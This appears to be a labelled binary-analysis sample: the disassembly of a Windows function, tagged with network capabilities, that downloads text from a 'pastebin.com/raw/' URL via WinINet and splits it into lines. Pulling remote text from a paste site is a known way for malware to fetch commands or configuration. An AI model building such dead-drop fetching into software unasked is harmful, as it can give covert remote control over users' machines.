Function at 0x140001bd0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3c0]
sub rsp, 0x4c0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x3b0], rax
mov rbx, rdx
mov r15, rcx
mov qword [rbp - 0x80], rcx
xor r12d, r12d
mov dword [rsp + 0x30], r12d
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx], r12
mov qword [rcx + 8], r12
mov qword [rcx + 0x10], r12
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea edx, [r12 + 1]
lea rcx, str.MyApp
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rsp + 0x78], rax
test rax, rax
je 0x140002287
lea rax, [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x140001c74
mov rsi, qword [rbx]
mov rbx, rsi
add rsi, qword [rax]
jmp 0x140001c7a
mov rsi, qword [rax]
add rsi, rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov r8d, 0xa
cmp rbx, rsi
jne 0x140001caa
mov r8, r12
mov qword [rsp + 0x48], r12
mov ecx, 7
mov qword [rsp + 0x50], rcx
mov word [rsp + 0x38], r12w
jmp 0x140001dc2
mov rax, rsi
sub rax, rbx
mov rdx, r12
mov qword [rsp + 0x48], rdx
mov edi, 7
mov qword [rsp + 0x50], rdi
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x1400022e3
cmp rax, rdi
jbe 0x140001d70
mov rdi, rax
or rdi, 7
movabs rax, 0x7fffffffffffffff
cmp rdi, rcx
jbe 0x140001cfd
mov rdi, rcx
lea rcx, [rax + rax]
jmp 0x140001d1d
cmp rdi, r8
cmovb rdi, r8
lea rcx, [rdi + 1]
cmp rcx, rax
ja 0x1400022dd
add rcx, rcx
cmp rcx, 0x1000
jb 0x140001d51
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400022dd
mov rcx, rax
call fcn.140004980
mov rcx, rax
test rax, rax
je 0x140001f7c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov rdx, qword [rsp + 0x48]
jmp 0x140001d65
test rcx, rcx
je 0x140001d62
call fcn.140004980
mov rdx, qword [rsp + 0x48]
jmp 0x140001d65
mov rax, r12
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x50], rdi
nop
lea rcx, [rsp + 0x38]
cmp rdi, 7
cmova rcx, qword [rsp + 0x38]
movsx eax, byte [rbx]
mov word [rcx + rdx*2], ax
mov rdx, qword [rsp + 0x48]
inc rdx
mov qword [rsp + 0x48], rdx
inc rbx
cmp rbx, rsi
je 0x140001da2
mov rdi, qword [rsp + 0x50]
jmp 0x140001d70
lea rax, [rsp + 0x38]
cmp qword [rsp + 0x50], 7
cmova rax, qword [rsp + 0x38]
mov word [rax + rdx*2], r12w
mov rcx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x48]
mov rax, rcx
sub rax, r8
cmp rax, 0x18
jb 0x140001e65
lea rax, [r8 + 0x18]
mov qword [rsp + 0x48], rax
lea rdi, [rsp + 0x38]
cmp rcx, 7
cmova rdi, qword [rsp + 0x38]
lea rax, [0x140006598]
lea rsi, str.http:__pastebin.com_raw_
cmp rax, rdi
jbe 0x140001e1b
lea rax, [rdi + r8*2]
cmp rsi, rax
ja 0x140001e1b
cmp rdi, rsi
ja 0x140001e10
mov rbx, r12
jmp 0x140001e20
mov rbx, rdi
sub rbx, rsi
sar rbx, 1
jmp 0x140001e20
mov ebx, 0x18
lea rcx, [rdi + 0x30]
lea r8, [r8*2 + 2]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
add rbx, rbx
mov r8, rbx
mov rdx, rsi
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
mov r8d, 0x30
sub r8, rbx
lea rdx, [rsi + 0x30]
add rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x38]
jmp 0x140001e7b
mov ebx, 0x18
mov qword [rsp + 0x28], rbx
mov edx, ebx
lea rcx, [rsp + 0x38]
call fcn.140004670
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 7
mov word [rax], r12w
mov r14d, 5
mov dword [rsp + 0x30], r14d
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova rdx, qword [rsp + 0x58]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rsi, rax
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x140001f2f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f2a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f2a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400049bc
movdqa xmm0, xmmword [0x140006800]
movdqu xmmword [rsp + 0x68], xmm0
mov word [rsp + 0x58], r12w
mov rdx, qword [rsp + 0x50]
cmp rdx, 7
jbe 0x140001f88
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f83
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f83
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400049bc
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], 7
mov word [rsp + 0x38], r12w
test rsi, rsi
je 0x140002257
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x78], 0
lea r9, [rbp - 0x58]
mov r8d, 0x400
lea rdx, [rbp - 0x50]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140002050
mov eax, dword [rbp - 0x58]
test eax, eax
je 0x140002050
mov edi, eax
mov rcx, qword [rbp - 0x68]
mov rdx, qword [rbp - 0x60]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x140002020
lea rax, [rcx + rdi]
mov qword [rbp - 0x68], rax
lea rbx, [rbp - 0x78]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x78]
add rbx, rcx
mov r8d, edi
lea rdx, [rbp - 0x50]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x140002035
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x50]
mov rdx, rdi
lea rcx, [rbp - 0x78]
call fcn.140003a90
lea r9, [rbp - 0x58]
mov r8d, 0x400
lea rdx, [rbp - 0x50]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001fd7
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rsi, qword [rbp - 0x68]
nop dword [rax]
lea rdi, [rbp - 0x78]
mov r12, qword [rbp - 0x78]
mov r13, qword [rbp - 0x60]
cmp r13, 0xf
cmova rdi, r12
cmp rsi, 1
jb 0x1400020d9
lea r14, [rsi + rdi]
mov r8, r14
sub r8, rdi
mov edx, 0xa
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x1400020d4
nop dword [rax]
cmp byte [rbx], 0xa
jne 0x1400020a9
xor eax, eax
jmp 0x1400020ae
sbb eax, eax
or eax, 1
test eax, eax
je 0x140002153
inc rbx
mov r8, r14
sub r8, rbx
mov edx, 0xa
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x1400020a0
mov r14d, dword [rsp + 0x30]
mov rbx, 0xffffffffffffffff
cmp rbx, 0xffffffffffffffff
je 0x1400021e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor eax, eax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov r8, rbx
cmp rsi, rbx
cmovb r8, rsi
lea rdx, [rbp - 0x78]
cmp r13, 0xf
cmova rdx, r12
lea rcx, [rsp + 0x58]
call fcn.140003c20
or r14d, 2
mov dword [rsp + 0x30], r14d
mov rdx, qword [r15 + 8]
cmp rdx, qword [r15 + 0x10]
je 0x14000215d
movups xmm0, xmmword [rsp + 0x58]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rsp + 0x68]
movups xmmword [rdx + 0x10], xmm1
mov edx, reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x58], 0
add qword [r15 + 8], 0x20
jmp 0x14000216f
sub rbx, rdi
mov r14d, dword [rsp + 0x30]
jmp 0x1400020e0
lea r8, [rsp + 0x58]
mov rcx, r15
call fcn.140004100
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x1400021a3
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000219e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400021d9
call fcn.1400049bc
lea rax, [rbx + 1]
mov rsi, qword [rbp - 0x68]
cmp rsi, rax
cmovb rax, rsi
lea rcx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rcx, qword [rbp - 0x78]
sub rsi, rax
lea r8, [rsi + 1]
lea rdx, [rcx + rax]
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp - 0x68], rsi
jmp 0x140002060
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rsi, rsi
je 0x14000220f
mov rdx, qword [r15 + 8]
lea r8, [rbp - 0x78]
cmp rdx, qword [r15 + 0x10]
je 0x1400021ff
call fcn.140004840
add qword [r15 + 8], 0x20
jmp 0x140002207
mov rcx, r15
call fcn.140004390
mov r12, qword [rbp - 0x78]
mov r13, qword [rbp - 0x60]
cmp r13, 0xf
jbe 0x14000227a
lea rdx, [r13 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x140002242
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002242
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r12
call fcn.1400049bc
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1400022aa
lea rdx, [0x140006508]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400037c0
mov rcx, rax
lea rdx, [0x140003990]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1400022aa
lea rdx, str.Failed_to_initialize_WinINet
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400037c0
mov rcx, rax
lea rdx, [0x140003990]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, r15
mov rcx, qword [rbp + 0x3b0]
xor rcx, rsp
call fcn.140004960
lea r11, [rsp + 0x4c0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001b10
int3
call fcn.140001bb0
int3